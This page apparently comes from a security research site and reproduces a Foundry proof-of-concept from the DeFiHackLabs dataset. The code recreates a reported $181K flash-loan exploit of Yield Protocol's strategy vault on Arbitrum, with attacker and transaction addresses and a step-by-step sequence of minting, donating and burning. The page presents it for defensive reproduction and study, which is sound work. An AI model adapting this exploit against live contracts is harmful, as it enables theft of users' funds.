Public reproduction file

src/test/2024-04/Yield_exp.sol

Public reproduction file for dataset entry Yield.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/Yield_exp.sol93 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "src/test/interface.sol";
6 
7// @KeyInfo - Total Lost : 181K
8// Attacker : https://arbiscan.io/address/0x1abe06f451e2d569b3e9123baf33b51f68878656
9// Attack Contract : https://arbiscan.io/address/0xd775fd7b76424a553e4adce6c2f99be419ce8d41
10// Vulnerable Contract : https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47
11// Attack Tx : https://arbiscan.io/tx/0x6caa65b3fc5c8d4c7104574c3a15cd6208f742f9ada7d81ba027b20473137705
12 
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God : https://medium.com/immunefi/yield-protocol-logic-error-bugfix-review-7b86741e6f50
20 
21interface IYieldStrategy is IERC20 {
22    function mint(
23        address to
24    ) external returns (uint256);
25 
26    function burn(
27        address to
28    ) external returns (uint256);
29 
30    function mintDivested(
31        address to
32    ) external returns (uint256);
33 
34    function burnDivested(
35        address to
36    ) external returns (uint256);
37}
38 
39contract Yield is Test {
40    uint256 blocknumToForkFrom = 206_219_811;
41    IYieldStrategy YieldStrategy_1 = IYieldStrategy(0x7012aF43F8a3c1141Ee4e955CC568Ad2af59C3fa); // pool token
42    IYieldStrategy YieldStrategy_2 = IYieldStrategy(0x3b4FFD93CE5fCf97e61AA8275Ec241C76cC01a47); // strategy token valut
43    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
44    IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
45 
46    function setUp() public {
47        vm.createSelectFork("arbitrum", blocknumToForkFrom);
48        vm.label(address(YieldStrategy_1), "YieldStrategy_1");
49        vm.label(address(YieldStrategy_2), "YieldStrategy_2");
50        vm.label(address(Balancer), "Balancer");
51        vm.label(address(USDC), "USDC");
52    }
53 
54    function testExploit() public {
55        // Implement exploit code here
56        address[] memory tokens = new address[](1);
57        tokens[0] = address(USDC);
58        uint256[] memory amounts = new uint256[](1);
59        amounts[0] = 400_000 * 1e6;
60        bytes memory userData = "";
61        Balancer.flashLoan(address(this), tokens, amounts, userData);
62 
63        // Log balances after exploit
64        emit log_named_decimal_uint(
65            " Attacker USDC Balance After exploit", USDC.balanceOf(address(this)), USDC.decimals()
66        );
67    }
68 
69    function receiveFlashLoan(
70        address[] calldata tokens,
71        uint256[] calldata amounts,
72        uint256[] calldata fees,
73        bytes calldata userData
74    ) external {
75        USDC.transfer(address(YieldStrategy_1), 308_000 * 1e6);
76        YieldStrategy_1.mintDivested(address(this)); // mint pool token with USDC
77 
78        uint256 transferAmount = YieldStrategy_1.balanceOf(address(this)) / 2;
79        YieldStrategy_1.transfer(address(YieldStrategy_2), transferAmount);
80        YieldStrategy_2.mint(address(YieldStrategy_2)); // mint strategy token
81 
82        YieldStrategy_1.transfer(address(YieldStrategy_2), YieldStrategy_1.balanceOf(address(this))); // donate pool token to strategy token vault
83        YieldStrategy_2.burn(address(this)); // burn strategy token to get pool token
84 
85        YieldStrategy_2.mint(address(YieldStrategy_2)); // recover donated pool token
86        YieldStrategy_2.burn(address(this));
87 
88        YieldStrategy_1.transfer(address(YieldStrategy_1), YieldStrategy_1.balanceOf(address(this)));
89        YieldStrategy_1.burnDivested(address(this)); // burn pool token to USDC
90 
91        USDC.transfer(address(Balancer), amounts[0]);
92    }
93}

Analysis

Dataset entry

Public Foundry test for “Yield” (2024-04-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
src/test/2024-04/Z123_exp.solSame month in the dataset · 62 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x1abe06f451e2d569b3e9123baf33b51f68878656
Attack Contract
0xd775fd7b76424a553e4adce6c2f99be419ce8d41
Vulnerable Contract
0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47

Attack Tx
0x6caa65b3fc5c8d4c7104574c3a15cd6208f742f9ada7d81ba027b20473137705

File record

Name: Yield
Path: src/test/2024-04/Yield_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 7371c7c7ba9a9101d79731371d2673c6381d2caa
Language: Solidity
Size: 94 lines
Date: 2024-04-30
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-04/Yield_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7371c7c7ba9a9101d79731371d2673c6381d2caa, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.